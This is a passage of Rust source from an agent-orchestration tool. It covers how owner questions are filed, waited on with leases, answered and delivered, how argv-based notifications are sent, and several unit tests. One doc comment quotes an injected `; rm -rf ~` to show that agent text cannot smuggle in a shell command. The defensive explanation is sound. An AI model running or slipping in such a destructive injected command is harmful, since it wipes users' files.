1749    /// Newest modification time in the store, in milliseconds, for change
1750    /// detection. The web UI compares this instead of re-reading every
1751    /// question, so an idle phone on a slow link costs one `stat` per file.
1752    pub fn revision(&self) -> u64 {
1753        std::fs::read_dir(&self.root)
1754            .into_iter()
1755            .flatten()
1756            .flatten()
1757            .filter_map(|e| e.metadata().ok())
1758            .filter_map(|m| m.modified().ok())
1759            .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1760            .map(|d| d.as_millis() as u64)
1761            .max()
1762            .unwrap_or(0)
1763    }
1764
1765    /// How many questions are open, whichever side of the conversation is
1766    /// holding the ball right now. Ten turns of back and forth between the
1767    /// owner and the agent are still one open question - see
1768    /// [`Question::say`] - so this does not drop while a reply is in
1769    /// flight. [`Self::count_needs_owner`] is the number that does.
1770    pub fn count_open(&self) -> usize {
1771        self.list().iter().filter(|q| q.status.open()).count()
1772    }
1773
1774    /// How many open questions actually need the owner right now: open, and
1775    /// not [`Question::waiting_on_agent`], or the follow-up is exhausted.
1776    ///
1777    /// This is the number a notification channel owes - the ask bar, the nav
1778    /// badge, the document title - because those exist to say "something
1779    /// needs you". An unread say stops needing the agent once its follow-up
1780    /// has spent its starts. `count_open` stays as it is for [`Self::open_for`]'s callers,
1781    /// where a round trip must not look like the run resumed.
1782    pub fn count_needs_owner(&self) -> usize {
1783        self.list()
1784            .iter()
1785            .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1786            .count()
1787    }
1788
1789    /// The follow-up spent its starts and its final turn is no longer alive.
1790    /// Computed from the lease rather than saved with the question, so the
1791    /// owner can decide even when an unread message remains in the thread.
1792    pub fn deputy_exhausted(&self, q: &Question) -> bool {
1793        q.status.open()
1794            && q.deputy
1795                .as_ref()
1796                .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1797            && !self
1798                .read_lease(&q.id)
1799                .is_some_and(|l| l.fresh(Timestamp::now()))
1800    }
1801}
1802
1803/// How a wait over [`Question`] ended.
1804#[derive(Debug, Clone, PartialEq, Eq)]
1805pub enum Wait {
1806    /// The owner decided. Carries [`Question::resolution`].
1807    Answered(String),
1808    /// The owner spoke back without deciding - see [`Question::say`]. The
1809    /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
1810    /// the caller's move is to hand this text to the agent and let it call
1811    /// `magi ask --thread` to keep talking, not to treat it as a decision.
1812    Replied(String),
1813    /// This call's [`WAIT_SLICE`] ran out with the question still
1814    /// [`QuestionStatus::Open`] and nothing having happened - not the owner
1815    /// going quiet, the clock on *this process* running out. The question is
1816    /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
1817    /// process, so the wait resumes before the shell tool that would have
1818    /// killed this one gets the chance.
1819    Pending,
1820    /// Nobody said anything before the deadline, or the question was closed
1821    /// out from under the wait with no decision recorded - a run deleted out
1822    /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
1823    /// now on disk.
1824    Abandoned,
1825}
1826
1827/// File a question and wait for the owner, polling the store.
1828///
1829/// The question is updated in place from disk whenever the wait ends, so the
1830/// caller can act on it without re-reading it. `timeout` is the question's
1831/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
1832/// of it - see [`Wait::Pending`] for what happens to the rest.
1833pub async fn ask_and_wait(
1834    q: &mut Question,
1835    store: &Questions,
1836    notify: &config::Notify,
1837    timeout: Duration,
1838) -> Result<Wait> {
1839    wait_for_owner(q, store, notify, timeout, POLL).await
1840}
1841
1842/// Resume a wait already filed, without adding a turn or notifying again.
1843///
1844/// This is `magi ask --wait <id>`'s engine: the process that owned the
1845/// previous slice is dead (the tool that ran it killed it, or it simply
1846/// exited after reporting [`Wait::Pending`]), but the question on disk never
1847/// stopped being open, and the owner was already notified about it once. A
1848/// second notification for the same unanswered question would page the
1849/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
1850/// unlike [`ask_and_wait`], this skips straight to polling.
1851///
1852/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
1853/// caller computes it as what remains until [`Question::asked_at`] plus the
1854/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
1855/// up the deadline the first ask set, never push it out further.
1856pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1857    wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1858}
1859
1860/// [`ask_and_wait`] with the poll interval injected.
1861///
1862/// Separate only so the tests can drive a whole wait in milliseconds instead of
1863/// sleeping through [`POLL`]; production has exactly one interval, and it is not
1864/// a knob the operator gets to tune.
1865async fn wait_for_owner(
1866    q: &mut Question,
1867    store: &Questions,
1868    cfg: &config::Notify,
1869    timeout: Duration,
1870    poll: Duration,
1871) -> Result<Wait> {
1872    // A question that is already on disk (a `--thread` reply just wrote it under
1873    // the lock) is left alone: this copy may predate an answer or say that
1874    // landed since, and writing it back would erase that.
1875    if !store.path_of(&q.id).is_file() {
1876        store.put(q).context("file the question")?;
1877    }
1878    if q.should_notify(Timestamp::now()) {
1879        if let Err(e) = notify(cfg, q).await {
1880            // A broken webhook is not a reason to throw away an implementation.
1881            // The question is already on disk and the web UI already shows it,
1882            // so the operator still has a way in; only the tap on the shoulder
1883            // is lost.
1884            tracing::warn!(
1885                "could not notify about question {}: {e:#} - the web UI is the \
1886                 only surface for it now",
1887                q.short()
1888            );
1889        }
1890    }
1891    tracing::info!(
1892        "question {} from {} is waiting for you: {}",
1893        q.short(),
1894        q.seat,
1895        q.summary
1896    );
1897    wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1898}
1899
1900/// Take the wait as this process: beat the lease and note it on the record.
1901fn hold(store: &Questions, id: &str) {
1902    store.beat(id, WaiterKind::Asker);
1903    let took = store.update(id, |q| {
1904        if q.status.open() {
1905            q.waiter = Some(Waiter {
1906                kind: WaiterKind::Asker,
1907                since: Timestamp::now(),
1908            });
1909        }
1910        Ok(())
1911    });
1912    if let Err(e) = took {
1913        tracing::debug!("could not note the wait on question {id}: {e:#}");
1914    }
1915}
1916
1917/// Record the owner's `magi answer --reply` on question `id` (a full id) and
1918/// return what to print. The terminal's direct path and a chat turn's control
1919/// bridge ([`crate::chat_control::Operation::Answer`]) both land here, so a
1920/// chat answer is the same ordinary answer whatever the turn's sandbox.
1921///
1922/// A choice reply is resolved against the offered labels; a free-text question
1923/// takes the reply verbatim. `title` is the literal replacement for the posting
1924/// gate's `use my text` choice and is refused anywhere else. Side effects of
1925/// the answer itself (an obsolete approval's dismissal saving its run record)
1926/// happen in [`Questions::update`]; existing consumers act on the rest.
1927pub fn record_answer(
1928    store: &Questions,
1929    id: &str,
1930    reply: &str,
1931    title: Option<&str>,
1932) -> Result<String> {
1933    let (q, ()) = store.update(id, |r| {
1934        let answer = if r.free_text() {
1935            Answer::Text(reply.to_owned())
1936        } else {
1937            Answer::Choice(r.resolve_reply(reply)?.to_owned())
1938        };
1939        let replacement = r.node == crate::github_text::ASK_NODE
1940            && matches!(&answer, Answer::Choice(choice) if choice == crate::github_text::USE_MY_TEXT);
1941        if replacement {
1942            let title =
1943                title.context("use my text needs --title with the literal replacement title")?;
1944            if title.trim().is_empty() {
1945                bail!("replacement title must not be empty");
1946            }
1947            r.publication_title = Some(title.to_owned());
1948        } else if title.is_some() {
1949            bail!("--title is only valid for a publication decision's `use my text` choice");
1950        }
1951        r.answer(answer)
1952    })?;
1953    let mut out = format!("answered {} {}", q.short(), q.summary);
1954    let resolution = q.resolution();
1955    let approval = q.node == crate::land::APPROVAL_NODE;
1956    if approval && resolution.as_deref() == Some(crate::merge_decision::DISMISS) {
1957        out.push_str(
1958            "\nObsolete approval ended; its execution is retired, history retained and PR unchanged. No merge or replacement was authorized.",
1959        );
1960    }
1961    if approval
1962        && resolution.as_deref() != Some(crate::merge_decision::DISMISS)
1963        && resolution
1964            .as_deref()
1965            .is_some_and(crate::merge_decision::stops)
1966    {
1967        out.push_str(&format!(
1968            "\nDecision recorded; the existing owner must resume to apply it. This answer command has not closed a PR, dispatched replacement work or approved a merge. A running magi serve / magi web resumes the parked owner; otherwise use `magi run --resume {}`. Do not create another task.",
1969            q.run
1970        ));
1971    }
1972    if approval && resolution.as_deref() == Some(crate::land::REPAIR) {
1973        out.push_str(&format!(
1974            "\nRepair requested; this answer command has not started repair or approved a merge. \
1975             A running magi serve / magi web resumes the existing run. Without one, \
1976             run `magi run --resume {}` to start repair and re-review; do not create another task or run.",
1977            q.run
1978        ));
1979    }
1980    Ok(out)
1981}
1982
1983/// Record that the agent has read everything so far, so the daemon waiter does
1984/// not resume a session to tell it what was already printed.
1985///
1986/// Callers must invoke this only **after** the word reached the agent's stdout:
1987/// marking first would let a tool timeout kill the process between the mark
1988/// and the print, and the waiter would then consider a word delivered that no
1989/// agent ever saw.
1990pub fn hand_over(store: &Questions, q: &mut Question) {
1991    let done = store.update(&q.id, |r| {
1992        r.delivered_turns = r.delivered_turns.max(q.thread.len());
1993        if r.status == QuestionStatus::Answered {
1994            r.answer_delivered = true;
1995        }
1996        r.waiter = None;
1997        Ok(())
1998    });
1999    match done {
2000        Ok((fresh, ())) => *q = fresh,
2001        Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
2002    }
2003}
2004
2005/// What the agent is shown for an answer: the owner's says it has not read
2006/// yet, in order, then the answer. With no such say it is `answer` itself,
2007/// byte for byte.
2008pub fn answer_for_agent(q: &Question, answer: &str) -> String {
2009    let says = q.undelivered_owner_turns();
2010    if says.is_empty() {
2011        return answer.to_owned();
2012    }
2013    format!(
2014        "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
2015        says.join("\n\n")
2016    )
2017}
2018
2019/// Print an answer (with any unread says before it) to `out`, flush, and only
2020/// then record the hand-over. A failed write marks nothing delivered.
2021pub fn deliver_answer(
2022    store: &Questions,
2023    q: &mut Question,
2024    answer: &str,
2025    out: &mut impl std::io::Write,
2026) -> std::io::Result<()> {
2027    writeln!(out, "{}", answer_for_agent(q, answer))?;
2028    out.flush()?;
2029    hand_over(store, q);
2030    Ok(())
2031}
2032
2033/// The polling loop shared by a fresh wait and a resumed one.
2034///
2035/// `timeout` is the budget left before the question's `answer_timeout`
2036/// truly runs out; `slice` bounds how much of that this one call spends
2037/// before handing control back. Landing on `slice` while `timeout` still has
2038/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
2039/// silence. Landing on `timeout` itself - because it was no bigger than
2040/// `slice` to begin with - is the real thing, and abandons the question
2041/// exactly as a single unsliced wait always did.
2042async fn wait_loop(
2043    q: &mut Question,
2044    store: &Questions,
2045    timeout: Duration,
2046    slice: Duration,
2047    poll: Duration,
2048) -> Result<Wait> {
2049    // The owner may already have spoken back before this call ever started -
2050    // most often because they did so in the gap between an earlier call
2051    // reporting `Wait::Pending` and this one picking the wait back up with
2052    // `--wait`. That word must surface at once rather than sit unnoticed
2053    // until some *later* turn happens to change something: this call never
2054    // saw it get added, so nothing below would otherwise recognise it as
2055    // new. `last_word_awaiting_reply` reads the question's own record of
2056    // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
2057    // turn count this call would have to have been there to capture.
2058    if let Some(said) = q.unread_from_owner() {
2059        return Ok(Wait::Replied(said));
2060    }
2061    hold(store, &q.id);
2062
2063    let bounded = timeout.min(slice);
2064    let is_the_real_deadline = bounded >= timeout;
2065    let deadline = tokio::time::Instant::now() + bounded;
2066    loop {
2067        let now = tokio::time::Instant::now();
2068        if now >= deadline {
2069            if !is_the_real_deadline {
2070                // The lease is left to age out on purpose: the caller is about
2071                // to run `magi ask --wait`, and that gap is what LEASE_TTL
2072                // covers.
2073                return Ok(Wait::Pending);
2074            }
2075            let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
2076            // Re-checked on the record as it is now: the owner may have said
2077            // something in time since the last poll, and that word is handed
2078            // over, not abandoned.
2079            let (fresh, unread) = store
2080                .update(&q.id, |r| {
2081                    let unread = r.unread_from_owner();
2082                    if unread.is_none() {
2083                        r.abandon(&why);
2084                        r.waiter = None;
2085                    }
2086                    Ok(unread)
2087                })
2088                .context("record the abandoned question")?;
2089            *q = fresh;
2090            if let Some(said) = unread {
2091                return Ok(Wait::Replied(said));
2092            }
2093            tracing::warn!(
2094                "question {} went unanswered for {}s; the run parks and the \
2095                 question stays as the record of it",
2096                q.short(),
2097                timeout.as_secs()
2098            );
2099            return Ok(Wait::Abandoned);
2100        }
2101        tokio::time::sleep(poll.min(deadline - now)).await;
2102        store.beat(&q.id, WaiterKind::Asker);
2103        match store.get(&q.id) {
2104            Ok(fresh) if !fresh.status.open() => {
2105                // Whoever answered - the phone, `magi answer`, another daemon -
2106                // owns the record now, so adopt theirs wholesale rather than
2107                // merging into a copy that predates it.
2108                *q = fresh;
2109                return Ok(match q.resolution() {
2110                    Some(a) => Wait::Answered(a),
2111                    // Closed with no decision - abandoned elsewhere, most
2112                    // often by the run behind it being deleted mid-wait.
2113                    None => Wait::Abandoned,
2114                });
2115            }
2116            Ok(fresh) => {
2117                if let Some(said) = fresh.unread_from_owner() {
2118                    *q = fresh;
2119                    return Ok(Wait::Replied(said));
2120                }
2121                // Still open and not waiting on the agent - nothing this
2122                // wait cares about happened, so keep polling.
2123            }
2124            Err(e) => {
2125                // Mid-rename, or a file the operator is editing by hand.
2126                // Neither is a reason to abandon a question a human may still
2127                // answer, so keep polling until the deadline decides.
2128                tracing::debug!("could not re-read question {}: {e:#}", q.short());
2129            }
2130        }
2131    }
2132}
2133
2134/// Run the operator's notification command, if one is configured.
2135///
2136/// The command is argv, never a shell string, and the substitutions below are a
2137/// single pass over each argument: a summary containing `; rm -rf ~` is one
2138/// argument to one program, and a summary containing the characters `{run}` is
2139/// not re-expanded. That property is the reason agent-authored text can be put
2140/// in a notification at all.
2141///
2142/// An error here is reported, not swallowed, so `magi notify --test` can show
2143/// the operator why nothing arrives. The waiting path logs it and carries on.
2144pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
2145    if q.routed_task.is_some() {
2146        return Ok(());
2147    }
2148    let mut summary = format!("Question {}: {}", q.short(), q.summary.trim());
2149    if q.status.open() {
2150        summary.push_str(&format!(
2151            " Respond in Questions or with `magi answer {}`.",
2152            q.id
2153        ));
2154    }
2155    let url = question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default());
2156    notify_at(cmd, &q.run, &summary, &url).await
2157}
2158
2159/// [`notify`] for an event that is not a question: the same command, the same
2160/// placeholders, with `summary` and `run` supplied directly.
2161pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
2162    let url = view_url(
2163        &std::env::var(WEB_URL_ENV).unwrap_or_default(),
2164        "notifications",
2165    );
2166    notify_at(cmd, run, summary, &url).await
2167}
2168
2169async fn notify_at(cmd: &config::Notify, run: &str, summary: &str, url: &str) -> Result<()> {
2170    let Some((program, args)) = cmd.command.split_first() else {
2171        // No command configured: the web UI is the only surface, by choice.
2172        return Ok(());
2173    };
2174    if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
2175        tracing::warn!(
2176            "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
2177             so the link will be empty - export it next to `magi serve` with \
2178             the address `magi web --open` printed"
2179        );
2180    }
2181    let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, url)).collect();
2182    tracing::debug!(program = %program, args = ?argv, "notifying");
2183
2184    let mut child = tokio::process::Command::new(program);
2185    child.quiet();
2186    child
2187        .args(&argv)
2188        .stdin(std::process::Stdio::null())
2189        // Killed if the timeout below drops this future: a notification
2190        // command left running would outlive the run it was announcing.
2191        .kill_on_drop(true);
2192    let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
2193        Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
2194        Err(_) => bail!(
2195            "notification command `{program}` did not finish within {}s",
2196            NOTIFY_TIMEOUT.as_secs()
2197        ),
2198    };
2199    if !out.status.success() {
2200        let stderr = String::from_utf8_lossy(&out.stderr);
2201        let why = stderr
2202            .lines()
2203            .rev()
2204            .find(|l| !l.trim().is_empty())
2205            .unwrap_or("no output on stderr")
2206            .trim();
2207        bail!(
2208            "notification command `{program}` exited with {}: {why}",
2209            out.status
2210        );
2211    }
2212    Ok(())
2213}
2214
2215/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
2216///
2217/// One left-to-right pass, so a substituted value is never scanned for further
2218/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
2219/// in a question must not make the notification recursive.
2220fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
2221    let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
2222    let mut out = String::with_capacity(template.len());
2223    let mut rest = template;
2224    while let Some(at) = rest.find('{') {
2225        out.push_str(&rest[..at]);
2226        let tail = &rest[at..];
2227        match table.iter().find(|(token, _)| tail.starts_with(token)) {
2228            Some((token, value)) => {
2229                out.push_str(value);
2230                rest = &tail[token.len()..];
2231            }
2232            None => {
2233                // Not a placeholder magi knows: it is the operator's own text.
2234                out.push('{');
2235                rest = &tail[1..];
2236            }
2237        }
2238    }
2239    out.push_str(rest);
2240    out
2241}
2242
2243/// Point a configured base URL at the view that can answer the question.
2244///
2245/// A notification the operator has to navigate from is a question that stays
2246/// unanswered until morning, so the questions view is appended - unless the
2247/// operator already wrote a fragment, in which case they have said where they
2248/// want to land and magi does not know better.
2249fn question_url(base: &str) -> String {
2250    view_url(base, "questions")
2251}
2252
2253fn view_url(base: &str, view: &str) -> String {
2254    let base = base.trim().trim_end_matches('/');
2255    if base.is_empty() || base.contains('#') {
2256        return base.to_owned();
2257    }
2258    format!("{base}/#/{view}")
2259}
2260
2261/// Assemble a panel's contents in an already-empty directory.
2262///
2263/// Split out so [`Questions::put_panel`] can delete the whole directory on the
2264/// first error without an early `return` skipping that cleanup.
2265fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
2266    let index = dir.join(PANEL_HTML);
2267    std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
2268    for (name, src) in assets {
2269        let dst = dir.join(name);
2270        std::fs::copy(src, &dst)
2271            .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
2272    }
2273    Ok(())
2274}
2275
2276/// Remove a directory and everything under it, treating "not there" as done.
2277///
2278/// A panel is replaced wholesale and dropped idempotently, and in both cases
2279/// the absence of the directory is the desired end state, not an error.
2280fn clear_dir(path: &Path) -> Result<()> {
2281    match std::fs::remove_dir_all(path) {
2282        Ok(()) => Ok(()),
2283        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
2284        Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
2285    }
2286}
2287
2288fn read_path(path: &Path) -> Result<Question> {
2289    let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
2290    let q: Question =
2291        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2292    if q.schema > SCHEMA {
2293        // Strictly newer, not merely different: every field added since
2294        // schema 1 carries `#[serde(default)]`, so an *older* schema reads
2295        // here as "no thread yet" rather than as garbage. Only a schema this
2296        // build has never heard of is refused.
2297        bail!(
2298            "question {} was written by a newer magi (schema {}, this build \
2299             only speaks up to {SCHEMA})",
2300            q.id,
2301            q.schema
2302        );
2303    }
2304    Ok(q)
2305}
2306
2307/// [`short`] for callers outside this module (a run id shortens the same way).
2308pub fn short_id(id: &str) -> &str {
2309    short(id)
2310}
2311
2312fn short(id: &str) -> &str {
2313    id.split('-').next_back().unwrap_or(id)
2314}
2315
2316fn new_id() -> String {
2317    let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2318    new_id_at(&stamp.to_string(), crate::rng::entropy())
2319}
2320
2321fn new_id_at(stamp: &str, seed: u64) -> String {
2322    // Questions can be created concurrently in one shared store. A 16-bit
2323    // suffix is only a display label, not enough identity to keep distinct
2324    // questions (and their panel scratch directories) from overwriting each
2325    // other. The counter also separates calls with identical clock entropy.
2326    static NEXT: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
2327    let sequence = NEXT.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
2328    format!(
2329        "{stamp}-{seed:016x}-{sequence:016x}-{:04x}",
2330        (seed ^ (seed >> 32)) & 0xffff
2331    )
2332}
2333
2334#[cfg(test)]
2335mod tests {
2336    use super::*;
2337
2338    /// A store of its own, with no process-global state - which is the point of
2339    /// `Questions::at`, and why these can run in parallel.
2340    fn store() -> (tempfile::TempDir, Questions) {
2341        let dir = tempfile::tempdir().unwrap();
2342        let s = Questions::at(dir.path().join("questions"));
2343        (dir, s)
2344    }
2345
2346    #[test]
2347    fn run_names_task_only_for_task_questions() {
2348        for (node, want) in [
2349            (crate::conduct::NODE, true),
2350            (crate::triage::NODE, true),
2351            (crate::triage::DEPS_NODE, true),
2352            (crate::land::APPROVAL_NODE, false),
2353            (crate::bump::NOTICE_NODE, false),
2354            ("implement", false),
2355        ] {
2356            let mut q = choice_question();
2357            q.node = node.to_owned();
2358            assert_eq!(q.run_names_task(), want, "{node}");
2359        }
2360    }
2361
2362    #[test]
2363    fn deleting_a_run_stops_its_questions_asking() {
2364        let (_dir, store) = store();
2365
2366        let mut open_one = choice_question();
2367        store.put(&mut open_one).unwrap();
2368        let mut answered = free_question();
2369        answered
2370            .answer(Answer::Text("keep this".to_owned()))
2371            .unwrap();
2372        store.put(&mut answered).unwrap();
2373        let mut elsewhere = choice_question();
2374        elsewhere.run = "20260903-105039-3cbf".to_owned();
2375        store.put(&mut elsewhere).unwrap();
2376
2377        let n = store
2378            .abandon_for_run(&open_one.run, "run was deleted")
2379            .unwrap();
2380        assert_eq!(n, 1, "only the open question of that run");
2381
2382        let back = store.get(&open_one.id).unwrap();
2383        assert!(!back.status.open(), "it no longer asks for a decision");
2384        assert!(
2385            back.detail.contains("run was deleted"),
2386            "the operator can see why: {}",
2387            back.detail
2388        );
2389
2390        let kept = store.get(&answered.id).unwrap();
2391        assert_eq!(
2392            kept.status,
2393            QuestionStatus::Answered,
2394            "an answered question is a decision on record, not something to revoke"
2395        );
2396        assert!(
2397            store.get(&elsewhere.id).unwrap().status.open(),
2398            "another run's question is untouched"
2399        );
2400        assert!(store.open_for(&open_one.run).is_empty());
2401    }
2402
2403    #[test]
2404    fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2405        let (_dir, store) = store();
2406        let mut q = choice_question();
2407        store.put(&mut q).unwrap();
2408
2409        // `Blocked` can still be resumed - leave it exactly as it was.
2410        let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2411        assert_eq!(n, 0);
2412        assert!(store.get(&q.id).unwrap().status.open());
2413
2414        // `Failed` is not - abandon it, with the run and its fate in the
2415        // reason so the owner can tell what happened without a run to read.
2416        let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2417        assert_eq!(n, 1);
2418        let back = store.get(&q.id).unwrap();
2419        assert!(!back.status.open());
2420        assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2421
2422        // A second call against the same, now-settled run finds nothing left.
2423        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2424    }
2425
2426    #[test]
2427    fn settle_run_keeps_an_undelivered_routed_decision() {
2428        let (_dir, store) = store();
2429        let mut q = choice_question();
2430        q.routed_task = Some("task".into());
2431        store.put(&mut q).unwrap();
2432        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2433        assert!(store.get(&q.id).unwrap().status.open());
2434
2435        // Once the chat has it, the ordinary settlement applies again.
2436        store
2437            .update(&q.id, |r| {
2438                r.routed_chat = Some("chat".into());
2439                Ok(())
2440            })
2441            .unwrap();
2442        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 1);
2443    }
2444
2445    fn choice_question() -> Question {
2446        Question::new(
2447            "20260902-201256-9fb7".to_owned(),
2448            "implement".to_owned(),
2449            "impl-A".to_owned(),
2450            "Which storage backend should the cache use?".to_owned(),
2451            "Both are already dependencies.".to_owned(),
2452            vec!["SQLite".to_owned(), "Redis".to_owned()],
2453        )
2454    }
2455
2456    fn free_question() -> Question {
2457        Question::new(
2458            "20260902-201256-9fb7".to_owned(),
2459            "review".to_owned(),
2460            "rev-1".to_owned(),
2461            "What should the error message say?".to_owned(),
2462            String::new(),
2463            Vec::new(),
2464        )
2465    }
2466
2467    /// No notification, which is the default and what most of these want.
2468    fn quiet() -> config::Notify {
2469        config::Notify::default()
2470    }
2471
2472    #[test]
2473    fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2474        // The front end parses these names by hand; there is no shared schema
2475        // and no compiler between the two. A rename here is a UI that shows an
2476        // empty card and reports no error, so the names are asserted literally.
2477        let mut q = choice_question();
2478        q.id = "20260902-231501-ab12".to_owned();
2479        let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2480        // `serde_json::Value` holds an object's keys sorted, and key order
2481        // means nothing to a JSON reader anyway: the field *set* is what the
2482        // front end was written against, so that is what is pinned here.
2483        let keys: Vec<&str> = open
2484            .as_object()
2485            .unwrap()
2486            .keys()
2487            .map(String::as_str)
2488            .collect();
2489        assert_eq!(
2490            keys,
2491            [
2492                "actions",
2493                "answer",
2494                "answer_delivered",
2495                "answer_timeout",
2496                "answered_at",
2497                "asked_at",
2498                "assets",
2499                "choices",
2500                "consult",
2501                "cwd",
2502                "decision_context",
2503                "delivered_turns",
2504                "deputy",
2505                "detail",
2506                "id",
2507                "merge_target",
2508                "node",
2509                "panel",
2510                "routed_chat",
2511                "routed_task",
2512                "run",
2513                "schema",
2514                "seat",
2515                "status",
2516                "summary",
2517                "thread",
2518                "triage_generation",
2519                "waiter",
2520            ],
2521            "the on-disk field set is a contract with the front end"
2522        );
2523        assert_eq!(open["schema"], 13);
2524        assert_eq!(open["merge_target"], serde_json::Value::Null);
2525        assert_eq!(open["triage_generation"], serde_json::Value::Null);
2526        assert_eq!(open["thread"], serde_json::json!([]));
2527        assert_eq!(open["id"], "20260902-231501-ab12");
2528        assert_eq!(open["run"], "20260902-201256-9fb7");
2529        assert_eq!(open["node"], "implement");
2530        assert_eq!(open["seat"], "impl-A");
2531        assert_eq!(open["status"], "open");
2532        assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2533        assert_eq!(open["answered_at"], serde_json::Value::Null);
2534        assert_eq!(open["answer"], serde_json::Value::Null);
2535        let asked = open["asked_at"].as_str().unwrap();
2536        assert!(
2537            asked.ends_with('Z') && asked.contains('T'),
2538            "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2539        );
2540
2541        // A chosen option, exactly as the contract spells it.
2542        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2543        let answered = serde_json::to_value(&q).unwrap();
2544        assert_eq!(answered["status"], "answered");
2545        assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2546        assert!(answered["answered_at"].is_string());
2547
2548        // And free text, which is the other of the two forms.
2549        let mut free = free_question();
2550        free.answer(Answer::Text("Say which file it was".to_owned()))
2551            .unwrap();
2552        assert_eq!(
2553            serde_json::to_value(&free).unwrap()["answer"],
2554            serde_json::json!({"text": "Say which file it was"})
2555        );
2556
2557        // And it survives the round trip a reader actually performs.
2558        let body = serde_json::to_string(&q).unwrap();
2559        assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2560    }
2561
2562    #[test]
2563    fn merge_target_persists_and_schema_10_questions_remain_readable() {
2564        let (_dir, store) = store();
2565        let mut q = approval_question();
2566        q.merge_target = Some(crate::merge_decision::Target {
2567            pr: "https://github.com/example/repo/pull/42".into(),
2568            head: "reviewed-head".into(),
2569            language: "ja".into(),
2570        });
2571        store.put(&mut q).unwrap();
2572        let saved = store.get(&q.id).unwrap();
2573        assert_eq!(saved, q);
2574        let mut body = serde_json::to_value(&saved).unwrap();
2575        assert_eq!(body["schema"], 13);
2576        assert_eq!(
2577            body["merge_target"],
2578            serde_json::json!({
2579                "pr": "https://github.com/example/repo/pull/42",
2580                "head": "reviewed-head",
2581                "language": "ja"
2582            })
2583        );
2584
2585        // Earlier merge/hold cards have no target field. Read the actual
2586        // on-disk shape through the store, including its schema guard.
2587        body["schema"] = serde_json::json!(10);
2588        body.as_object_mut().unwrap().remove("merge_target");
2589        std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2590        let legacy = store.get(&q.id).unwrap();
2591        assert_eq!(legacy.schema, 10);
2592        assert!(legacy.merge_target.is_none());
2593        assert_eq!(legacy.choices, q.choices);
2594        assert_eq!(legacy.status, q.status);
2595    }
2596
2597    #[test]
2598    fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2599        // Four different mistakes, four different fixes: the web handler shows
2600        // these strings to the person who made them.
2601        let mut unoffered = choice_question();
2602        let a = unoffered
2603            .answer(Answer::Choice("Postgres".to_owned()))
2604            .unwrap_err()
2605            .to_string();
2606
2607        let mut typed = choice_question();
2608        let b = typed
2609            .answer(Answer::Text("use Postgres".to_owned()))
2610            .unwrap_err()
2611            .to_string();
2612
2613        let mut blank = free_question();
2614        let c = blank
2615            .answer(Answer::Text("   \n".to_owned()))
2616            .unwrap_err()
2617            .to_string();
2618
2619        let mut twice = choice_question();
2620        twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2621        let d = twice
2622            .answer(Answer::Choice("Redis".to_owned()))
2623            .unwrap_err()
2624            .to_string();
2625
2626        assert!(a.contains("not one of the choices"), "{a}");
2627        assert!(b.contains("multiple choice"), "{b}");
2628        assert!(c.contains("empty"), "{c}");
2629        assert!(d.contains("already answered"), "{d}");
2630        let mut distinct = vec![a, b, c, d];
2631        let asked = distinct.len();
2632        distinct.sort_unstable();
2633        distinct.dedup();
2634        assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2635
